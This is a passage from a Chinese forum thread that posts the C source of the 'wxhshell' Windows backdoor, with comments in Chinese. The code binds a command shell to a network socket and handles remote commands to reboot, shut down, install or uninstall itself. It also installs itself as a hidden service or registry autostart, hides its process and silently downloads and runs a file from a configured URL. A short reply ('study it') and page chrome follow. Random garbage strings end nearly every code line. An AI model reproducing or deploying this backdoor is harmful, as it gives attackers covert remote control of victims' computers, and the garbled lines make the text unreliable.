  if(DownloadFile(cmd,wsh)) z-b78A/8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :aomDK*  
  else i{TPf1OY`M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R`E:`t4G  
  } {6GX ?aw'  
  else { xw_klHL-o  
pe0ax- Zv  
    switch(cmd[0]) { }/&Zo=Q$  
  :$k1I-^R  
  // 帮助 FeMgn`q  
  case '?': { cu foP&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y< j7iN  
    break; wK7w[Xt  
  } j5" L  
  // 安装 dsx<ZwZN>  
  case 'i': { .?5 ~zK  
    if(Install()) 036m\7+Qj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,s@K>9l;  
    else F-rhxJd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "yh2+97l  
    break; .\T!oSb4[  
    } " "m-5PGYo  
  // 卸载 9  @ <  
  case 'r': { d^nO&it  
    if(Uninstall()) 3N- '{c6]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _s#]WyU1g  
    else )Sb-e(sl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <mlN\BcX;  
    break; &g&,~Y/z;  
    } JygJ4RI%j  
  // 显示 wxhshell 所在路径 {l!{b1KJ  
  case 'p': { j0~am,yZ  
    char svExeFile[MAX_PATH]; jT$J~M pHh  
    strcpy(svExeFile,"\n\r"); 6xtgnl#T  
      strcat(svExeFile,ExeFile); uA[ :  
        send(wsh,svExeFile,strlen(svExeFile),0); pTG[F  
    break; ^.iRU'{  
    } RV_I&HD!  
  // 重启 O50<h O]l  
  case 'b': { _b&26!gl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1uN;JN `_  
    if(Boot(REBOOT)) (}6\_k[}m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X,aRL6>r  
    else { 6`Y:f[VB  
    closesocket(wsh); ``k[CgV  
    ExitThread(0); HVoP J!K3  
    } 4)D~S4{E5  
    break;  K];]  
    } F"k`PF*b  
  // 关机 &8l?$7S"_/  
  case 'd': { aReJ@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0C%IdV%CU  
    if(Boot(SHUTDOWN)) \ui'~n_t]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yc?L OW0  
    else { #J3o~,t<  
    closesocket(wsh); \P+^BG!  
    ExitThread(0); -*KKrte  
    } $%\6"P/64  
    break; qMVuFw Phi  
    } !;(Wm6~*ad  
  // 获取shell h[iO'Vq  
  case 's': { iYvzZ7 8f  
    CmdShell(wsh); "*D9.LyM  
    closesocket(wsh); {+_p?8X  
    ExitThread(0); 8g!79q\c4  
    break; Qx,#Hj  
  } G4 :\6fu  
  // 退出 Vf~-v$YI  
  case 'x': { '}(>s%~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Miw=2F  
    CloseIt(wsh); rZpsC}C'  
    break; 0j4n1 1#  
    } A|1xK90^XT  
  // 离开 LKcp.i  
  case 'q': { =,;$d&#*h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); frPQi{u$  
    closesocket(wsh); hx&fV#m  
    WSACleanup(); #`gX(C>  
    exit(1); ~K#92  
    break; As>Og  
        } 8CRbo24"s  
  } h7fytO  
  } |3E|VGm~  
//|B?4kk  
  // 提示信息 *j]Bo,AC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +`gU{e,p  
} 0]*W0#{Zj  
  } $t^Td<  
Ewr2popK  
  return; kI!@J6  
} ~!mY0odH  
v{|y,h&]a  
// shell模块句柄 CSoVB[vS  
int CmdShell(SOCKET sock) ww7nQ}H5(  
{ rQ_cH  
STARTUPINFO si; z(Uz<*h8  
ZeroMemory(&si,sizeof(si)); iOEBjj;C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :3R3 >o6m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O>h h  
PROCESS_INFORMATION ProcessInfo; 0lniu=xmQ-  
char cmdline[]="cmd"; 8g)$%Fy+N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zF^H*H  
  return 0; .hxFFk%5  
} v&;JVai  
5lD`qY  
// 自身启动模式 YHom9& A  
int StartFromService(void) }]dzY(   
{ 1 +-Go}I  
typedef struct Kgi`@`  
{ am3.Dt2\  
  DWORD ExitStatus; BaI-ve  
  DWORD PebBaseAddress; oKGF'y?A>  
  DWORD AffinityMask;  24 [cU  
  DWORD BasePriority; mD% qDKI  
  ULONG UniqueProcessId; C.#Ha-@uz  
  ULONG InheritedFromUniqueProcessId; 3]9wfT%d  
}   PROCESS_BASIC_INFORMATION; ,7s+-sRG  
|,`"Omb9+m  
PROCNTQSIP NtQueryInformationProcess; !9HWx_,|Z  
oXh t$Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~Azj Y8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9v;[T%%  
cy!P!t,@  
  HANDLE             hProcess; &L?]w=*  
  PROCESS_BASIC_INFORMATION pbi; eP:\\; ;  
q1L>nvE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Bc3| `K1v  
  if(NULL == hInst ) return 0; V >eG\  
b|k^   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {na>)qzKP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lz_.m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $v2t6wS,"  
f ]_ki  
  if (!NtQueryInformationProcess) return 0; &g90q   
DVwB}W~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g.!k>_g`  
  if(!hProcess) return 0; PB"=\>]`N  
f,6V#,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <>$CYTb  
gV9bt ~  
  CloseHandle(hProcess); cy? #LS  
=2( 52#pT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GY@:[u.&  
if(hProcess==NULL) return 0; ;AVIt!(L~V  
LU8[$.P  
HMODULE hMod; tMP"9JE,  
char procName[255]; Oh10X.)i  
unsigned long cbNeeded; -&1P2m/46  
ws QuJrG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x|d?'  
PWp=}f.y  
  CloseHandle(hProcess); tj*0Y-F~  
o[eZ"}~  
if(strstr(procName,"services")) return 1; // 以服务启动 9^H.[t  
Tr}XG  
  return 0; // 注册表启动 ep},~tPZn  
} V8WSJ=-&  
Z*b l J5YC  
// 主模块 B>cT <B  
int StartWxhshell(LPSTR lpCmdLine) l+&DBw[  
{ Zw{?^6;cS  
  SOCKET wsl; GNuIcy  
BOOL val=TRUE; j -"34  
  int port=0; +Tx_q1/f5X  
  struct sockaddr_in door; `ItoL7bi  
kzK9 .  
  if(wscfg.ws_autoins) Install(); x%ccNP0  
`S-%}eUv  
port=atoi(lpCmdLine); {0a\<l  
Vh=U/{Rp1  
if(port<=0) port=wscfg.ws_port; Ylu\]pr9|C  
8BZ&-j{  
  WSADATA data; <2<2[F5Q%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T+RC#&>  
[r Nd7-j <  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t~4Cf])  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4bw4!z9G  
  door.sin_family = AF_INET; nJYIkfdA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IaO R%B g  
  door.sin_port = htons(port); EBL-+%J8  
,UVu.RjXN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K8 [Um!(  
closesocket(wsl); ='+I dn#5  
return 1; !"RRw&0M  
} [742s]j  
Nr*X1lJ6  
  if(listen(wsl,2) == INVALID_SOCKET) { w?8\9\ ;?  
closesocket(wsl); A1Uy|Dl  
return 1; B1U!*yzG6  
} GNrRc3dr$  
  Wxhshell(wsl); l. cp[  
  WSACleanup(); cvT@`1  
H n]( )/  
return 0; ?tqJkL#  
uF}B:53A  
} za 7+xF  
@'M"c q  
// 以NT服务方式启动 W)T'?b'.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8* #$ 3e  
{ Bv jsl  
DWORD   status = 0; Eld[z{n"  
  DWORD   specificError = 0xfffffff; l.g.O>1   
~9#x=nU:+V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;P;c!}:\b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :qB|~"9O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z1 ($9hE>  
  serviceStatus.dwWin32ExitCode     = 0; yw7(!1j=  
  serviceStatus.dwServiceSpecificExitCode = 0; 7hPwa3D^  
  serviceStatus.dwCheckPoint       = 0; / bH2Z  
  serviceStatus.dwWaitHint       = 0; :Ru8Nm  
xqY'-Hom  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3>MILEY^  
  if (hServiceStatusHandle==0) return; ,3-^EfccW  
@b.,pwZF  
status = GetLastError(); 4]p#9`j  
  if (status!=NO_ERROR) ,:'JJZg@  
{ $-t@=N@vO?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /hVwrt(  
    serviceStatus.dwCheckPoint       = 0; ae@!M  
    serviceStatus.dwWaitHint       = 0; 2T(+VeMQ=  
    serviceStatus.dwWin32ExitCode     = status; 3}mg7KV&  
    serviceStatus.dwServiceSpecificExitCode = specificError; jgPUR#)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Qe]!$tqfD  
    return; I 2OQ  
  } 5cU:wc  
Rcw[`q3/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 's5rl  
  serviceStatus.dwCheckPoint       = 0; ~QPTs1Vk8  
  serviceStatus.dwWaitHint       = 0; B B69U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -}!mi V  
} XSK<hr0m  
T2azHo7  
// 处理NT服务事件,比如:启动、停止 ~&MDfpl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1t^9.!$@y  
{ 4J(-~  
switch(fdwControl) Q/4ICgo4  
{ &)||~  
case SERVICE_CONTROL_STOP: cbm;45 L|  
  serviceStatus.dwWin32ExitCode = 0; oUN\tOiS+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "sDs[Lcq  
  serviceStatus.dwCheckPoint   = 0; \~Z%}$ =  
  serviceStatus.dwWaitHint     = 0; T KAs@X,t  
  { ^^B_z|;Aa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZPb30M0  
  } m]fUV8U  
  return; `\;Z&jlpT  
case SERVICE_CONTROL_PAUSE: -+Yark  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {~Jk(c~I  
  break; 8{i}^.p  
case SERVICE_CONTROL_CONTINUE: ?r8hl.Z>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X?< L<:.  
  break; Qyx~={ .C~  
case SERVICE_CONTROL_INTERROGATE: @b^$h:H  
  break; 4L{]!dox  
}; > 3(,s^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gg%)#0Zi  
} ^_P?EJ,)`  
Qf ~$9?z  
// 标准应用程序主函数 z;<~j=lP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &Q}%b7  
{ PO6yE r  
lfC]!=2%~8  
// 获取操作系统版本 <?!'  
OsIsNt=GetOsVer(); jg{2Sxf!c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i(cKg&+ktd  
c@}t@k  
  // 从命令行安装 >ZG$8y 'j  
  if(strpbrk(lpCmdLine,"iI")) Install(); qs bo"29  
9=T;Dxn  
  // 下载执行文件 w4TQ4 Y  
if(wscfg.ws_downexe) { '2<r{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1%N*GJlwJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'OP0#`6`  
} 4Nt4(3Kf  
es#6/  
if(!OsIsNt) { 7'i{JPm  
// 如果时win9x,隐藏进程并且设置为注册表启动 z,SI  
HideProc(); 5n}<V-yJ*m  
StartWxhshell(lpCmdLine); {y6h(@I8\  
} 4\v &8">LL  
else AgSAjBP  
  if(StartFromService()) 62_k`)k  
  // 以服务方式启动 =*lBJ-L  
  StartServiceCtrlDispatcher(DispatchTable); CyYr5 Dz  
else S1y6G/e9  
  // 普通方式启动 /Qr`au  
  StartWxhshell(lpCmdLine); I{[Z  
u)o-H!a  
return 0; QQV8Vlv"  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八